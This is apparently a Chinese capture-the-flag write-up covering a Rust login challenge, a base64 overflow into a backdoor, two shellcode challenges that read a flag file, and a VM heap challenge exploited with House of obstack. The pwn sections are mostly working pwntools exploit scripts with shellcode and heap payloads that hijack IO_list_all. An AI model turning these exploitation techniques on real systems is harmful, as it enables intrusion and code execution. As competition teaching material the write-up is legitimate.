Signin
探索版
简单运行一下,发现只有几个功能
1 2 3 4 5 6
| register #注册 sign_in #登录 sign_out #登出 whoami #输出用户名 help #命令列表 quit #退出
|
由于给了rust源代码,可以直接读代码(如果看不懂可以直接问ai)
又发现一点功能
1 2 3
| unregister #注销 become_admin #成为管理员 get_flag #获得flag
|
执行get_flag
回显You are not signed in!
要先登录
没号就注册吧
按照help
里的提示
1 2
| register asd 123 #用户名和密码随便给 sign_in asd 123 #登录刚才注册的用户
|
尝试get_flag
回显You are not an admin!
试试become_admin
回显Are you root? (y/n)
回个y
回显You are not root, you cannot do this!
貌似要用户名是root,尝试注册一个
回显Name already exists!
试试直接注销
成功了
注册为root,
登录
然后become_admin
回显Are you root? (y/n)
回个y
回显You are now an admin!
然后get_flag
ezbase
程序开了pie保护
玩了一下
是输入一段长度为$4k$ $(k \in Z^*)$的base64
密文,
然后程序会输出明文和长度.
最多输入0x40,但是解密字符和输入是相邻的,
如果完全输入了0x40,就也会把解码后的当密文
就会继续解码,存在溢出
(当然,溢出会有上限,不过存在后门函数,够用了)
笔者用的溯源法,从最后的溢出字节反向还原
payload的构成,
需要base64解码三次才能溢出到返回地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * import base64
context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
backdoor = p16(0x1181)
back = base64.b64encode(b'a'*4+backdoor) info('back: ' + back.decode()) back = back.ljust(0x24,b'=')
back = base64.b64encode(back) info('back: ' + back.decode()) back = base64.b64encode(back) info('back: ' + back.decode())
io = process('./ezbase') gdb.attach(io, 'b *$rebase(0x1474)')
io.recvuntil(b'Please input your secret:') io.sendline(back)
io.interactive()
|
shellcode_master?
很平常的shellcode题,但是清空了基本所有寄存器
open
,read
,write
要找一个可写段.
发现mmap给的写shellcode的地址和可写段有固定偏移,
可以通过偏移找到其地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
io = process('./sc_master') gdb.attach(io, 'b *$rebase(0x1569)')
shellcode = '''mov rsp, r15 sub rsp, 0x39000 add rsp, 0x300
push 0x67616c66 mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 2 syscall
mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall
mov rbx, rsp label:
mov rdi, 1 mov rsi, rbx mov rdx, 0x1 mov rax, 1 syscall
add rbx, 1 cmp byte ptr [rbx], 0 jne label
''' shellcode = asm(shellcode) io.sendline(shellcode) print(io.recvall()) io.interactive()
|
shellcode_master_revenge
据出题人本人所言,
上述解法为非预期解法
故revenge诞生.
大体没有改变,只是mmap的地址固定了,就是0x114514000.
可写段不能通过固定偏移寻找.
只能爆破.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import *
context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
shellcode = '''mov r12, 0x7ffe30734000 label1:
mov rdi, 0 mov rsi, r12 mov rdx, 0x1 mov rax, 0 syscall sub r12, 0x1000 cmp rax, 0x1
jne label1
mov rsp,r12 push 0x67616c66 mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 2 syscall
mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall
mov rbx, rsp label2:
mov rdi, 1 mov rsi, rbx mov rdx, 0x1 mov rax, 1 syscall
add rbx, 1 cmp byte ptr [rbx], 0 jne label2 '''
shellcode = asm(shellcode)
print(len(shellcode))
io = process('./sc_master_revenge') gdb.attach(io, 'b *$rebase(0x155A)')
io.recvuntil(b'Give me your shellcode: ') io.sendline(shellcode)
while not io.recv(timeout=0.02): print(b'a') io.sendline(b'1')
print(io.recvall()) io.interactive()
|
由于是远程io,所有速度较慢.
关于这一点,事实上,可以优化,只是赛时没想到.
还有一点,这是一个概率出的脚本.
当stack地址大于我的假设地址,应该就跑不出来.
hvm
一个vm pwn
需要手搓opcode
以下是一些可能用到的opcode
1 2 3 4 5 6 7 8 9 10 11 12
| code_map = { 'rd': b'\xd1', 'wt': b'\xd2', 'new': b'\xd3', 'free': b'\xd4', 'display': b'\xd5', 'xor': b'\xe3', 'inverse': b'\xe4', 'shl': b'\xe5', 'add': b'\xf1', 'sub': b'\xf2', }
|
申请的chunk索引为0-15
,大小为0x480-0x500
但是读写数据为做检测
也就是说,申请的0x480
的chunk,可以访问它0x500
的内容.
这就是越界读写.
该题最后是glibc2.25
可以考虑使用House of obstack
.
PS: opcode是通过read函数读入的,有写字符无法读入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import *
context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
libc = ELF('./libc.so.6')
io = process('./hvm')
libc_offset = 0x21b0f0 heap_offset = 0x480 IO_list_all = 0x21b680 IO_obstack_jump = 0x2173c0 system_offset = 0x50d70 binsh_offset = 0x1d8678 puts_offset = 0x80e50 ogg_offset = 0xebc81
payload = b'\xd3\x00\x80\x04' payload += b'\xd3\x01\x80\x04' payload += b'\xd3\x02\x90\x04' payload += b'\xd4\x01' payload += b'\xd3\x01\x90\x04'
''' libc和heap的地址 ''' payload += b'\xd1\x00\x94\x04' payload += b'\xd2\x00\x04\x00' payload += b'\xd1\x00\x90\x04' payload += b'\xf2'+p32(libc_offset) payload += b'\xd2\x00\x00\x00'
payload += b'\xd1\x00\xa4\x04' payload += b'\xd2\x00\x0c\x00' payload += b'\xd1\x00\xa0\x04' payload += b'\xf2'+p32(heap_offset) payload += b'\xd2\x00\x08\x00'
payload += b'\xd3\x03\xa0\x04' payload += b'\xd3\x04\x80\x04' payload += b'\xd3\x05\x80\x04'
payload += b'\xd1\x00\x04\x00' payload += b'\xd2\x02\x3c\x00' payload += b'\xd1\x00\x00\x00'
payload += b'\xf1'+p32(binsh_offset) payload += b'\xd2\x02\x38\x00'
payload += b'\xd1\x00\x04\x00' payload += b'\xd2\x02\x2c\x00'
payload += b'\xd1\x00\x00\x00'
payload += b'\xf1'+p32(system_offset-0x600) payload += b'\xf1'+p32(0x600) payload += b'\xd2\x02\x28\x00'
payload +=b'\xd1\x00\x04\x00' payload +=b'\xd2\x02\xcc\x00' payload +=b'\xd1\x00\x00\x00' payload +=b'\xf1'+p32(IO_obstack_jump+0x20) payload +=b'\xd2\x02\xc8\x00'
payload += b'\xd1\x00\x0c\x00' payload += b'\xd2\x02\xd4\x00' payload += b'\xd1\x00\x08\x00' payload += b'\xf1'+p32(0x910) payload += b'\xd2\x02\xd0\x00'
payload += b'\xd4\x03' payload += b'\xd3\x03\xb0\x04' payload += b'\xd4\x02'
''' edit ''' payload += b'\xd1\x00\x04\x00' payload += b'\xd2\x01\xbc\x04' payload += b'\xd1\x00\x00\x00' payload += b'\xf1'+p32(IO_list_all-0x20) payload += b'\xd2\x01\xb8\x04'
payload += b'\xd3\x02\xc0\x04'
payload += b'\xd1\x00\x40\x00' payload += b'\xf1'+p32(1) payload += b'\xd2\x04\xd0\x04'
io.sendline(payload)
io.interactive()
|